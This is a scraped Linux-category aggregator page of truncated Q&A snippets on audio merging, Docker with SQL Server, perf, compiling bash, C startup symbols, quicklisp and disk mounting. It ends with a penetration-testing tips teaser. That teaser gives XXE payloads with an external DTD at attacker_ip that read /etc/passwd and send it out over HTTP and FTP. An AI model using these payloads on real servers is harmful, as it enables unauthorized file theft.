Linux | 易学教程

combine two audio files with a command line tool

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问题 I've to merge two (or more) audio files (like a guitar and a drum track) into a single file. I'm running over linux CentOS and I'd need a command line tool to do so, because I've got to run this as part of a background process, triggered via crontab of a custom bash script. I also need to be able to change the pan, volume, trim and start time (i.e I want the guitar track to start after 1.25ms after the drum track so that they can be both in sync with each other). My first choice would be

CentOS8 使用Docker容器中 SqlServer数据库外部连接

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楔子工作在win10环境下，使用Docker Windows桌面版容器化SqlServer数据库连接使用(主要是想用Docker)，但是同时需要Linux系统测试，win10 下VMware 虚拟机安装CentOS 与Docker冲突(都是虚拟化技术，该冲突可以解决，但是切换麻烦略)，想到Win10 Linux 子系统发现也是一样，关键Win10 Linux 子系统安装Docker无法运行，最后干脆在CentOS 虚拟机下安装Docker 然后容器化SqlServer 让外界访问使用需要步骤(所需工具) VMware Workstation 15 Pro CentOS 8 SQL Server Docker DataGrip 方便数据库连接安装 VMware Workstation 15 Pro(略) 虚拟机安装 CentOS 8 建议内存大于2G （sqlserver 需要服务器的内存至少2G）网络先设置自动获取(GUI桌面最好，方便手动设置网络而不用进入vi修改网络配置) Docker 安装步骤下载docker-ce的repo curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repo 安装依赖 yum install https:/

How to find the default networking interface in linux?

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问题 I have seen this question: Linux C: how to know the default interface for internet access?, but it suggested parsing the output of a command, something which I do NOT want to do. I have also checked the source code of it and got completely lost in it. Could anyone just give me a snippet that would do this? All I want is the interface name. Here is my current (non-working) source code for the function, using libmnl: bool get_default_interface(std::string* interface_name) { char buf[MNL_SOCKET

run `perf stat` on the output of `perf record`?

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问题 With perf (the Linux profiler), (v4.15.18), I can run perf stat $COMMAND to get some simple stats on the command. If I run perf record , it saves lots of data to a perf.data file. Can I run perf stat on the output of perf record ? So that I can look at the perf recorded data, but also get a simple overview? 回答1: perf stat uses hardware performance monitoring unit in counting mode, and perf record / perf report with perf.data file uses the same unit in overflow mode. In both modes hardware

How to compile bash?

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问题 How to compile bash? I did small modifications to the code I got from http://ftp.gnu.org/gnu/bash/bash-4.2.tar.gz. I want to see those changes. Can anyone please point to me simple steps to compile bash? 回答1: You can first run cd bash-4.2 ./configure --prefix=/usr \ --bindir=/bin \ --htmldir=/usr/share/doc/bash-4.2 \ --without-bash-malloc \ --with-installed-readline make make install Also refer http://www.linuxfromscratch.org/lfs/view/development/chapter06/bash.html for more information 回答2:

What is __libc_start_main and _start?

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问题 From the past few days I have been trying to understand what happens behind the curtain when we execute a C program. However even after reading numerous posts I cannot find a detailed and accurate explanation for the same. Can someone please help me out ? 回答1: You would usually find special names like this for specific uses when compiling and linking programs. Typically, something like _start would be the actual entry point for an executable, it will be located in some object file or library

run `perf stat` on the output of `perf record`?

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example of using external libraries or packages in Common Lisp

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问题 In Common Lisp, quicklisp is a popular library management tool. I'm going to use that tool and I'm going to try and use CL-WHO. I use the SBCL 1.0.57 implementation. I'm going to answer my own question below. As a beginner, it's not clear how ASDF and quicklisp actually work together. And so it's not clear how to actually use packages or libraries that you've downloaded through quicklisp in an external source file. The quicklisp FAQ, at least at this moment, does not help. In python, it's

linux 挂载数据盘

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一、系统环境：centos7 >lsb_release -a 二、运行命令查看数据盘 >fdisk -l 三、对数据盘分区 >fdisk /dev/vdb 对数据盘进行分区。根据提示，输入 n， p， 1，回车，回车， wq 四、查看分区是否成功 >fdisk -l 五、格式化分区 >mkfs.ext4 /dev/vdb1 六、创建挂载目录 >mkdir /data 七、写入新分区信息 >echo /dev/vdb1 /mnt ext4 defaults 0 0 >> /etc/fstab 八、cat /etc/fstab 九、挂载分区 >mount -a >mount /dev/vdb1 /mnt/data 十、查看挂载情况来源： oschina 链接： https://my.oschina.net/u/4413093/blog/3661856

渗透测试人员注意！这几个小TIPS能帮你

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扫码领资料获黑客教程免费&进群转乌云安全这里记录渗透测试中常见的小Tips。关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE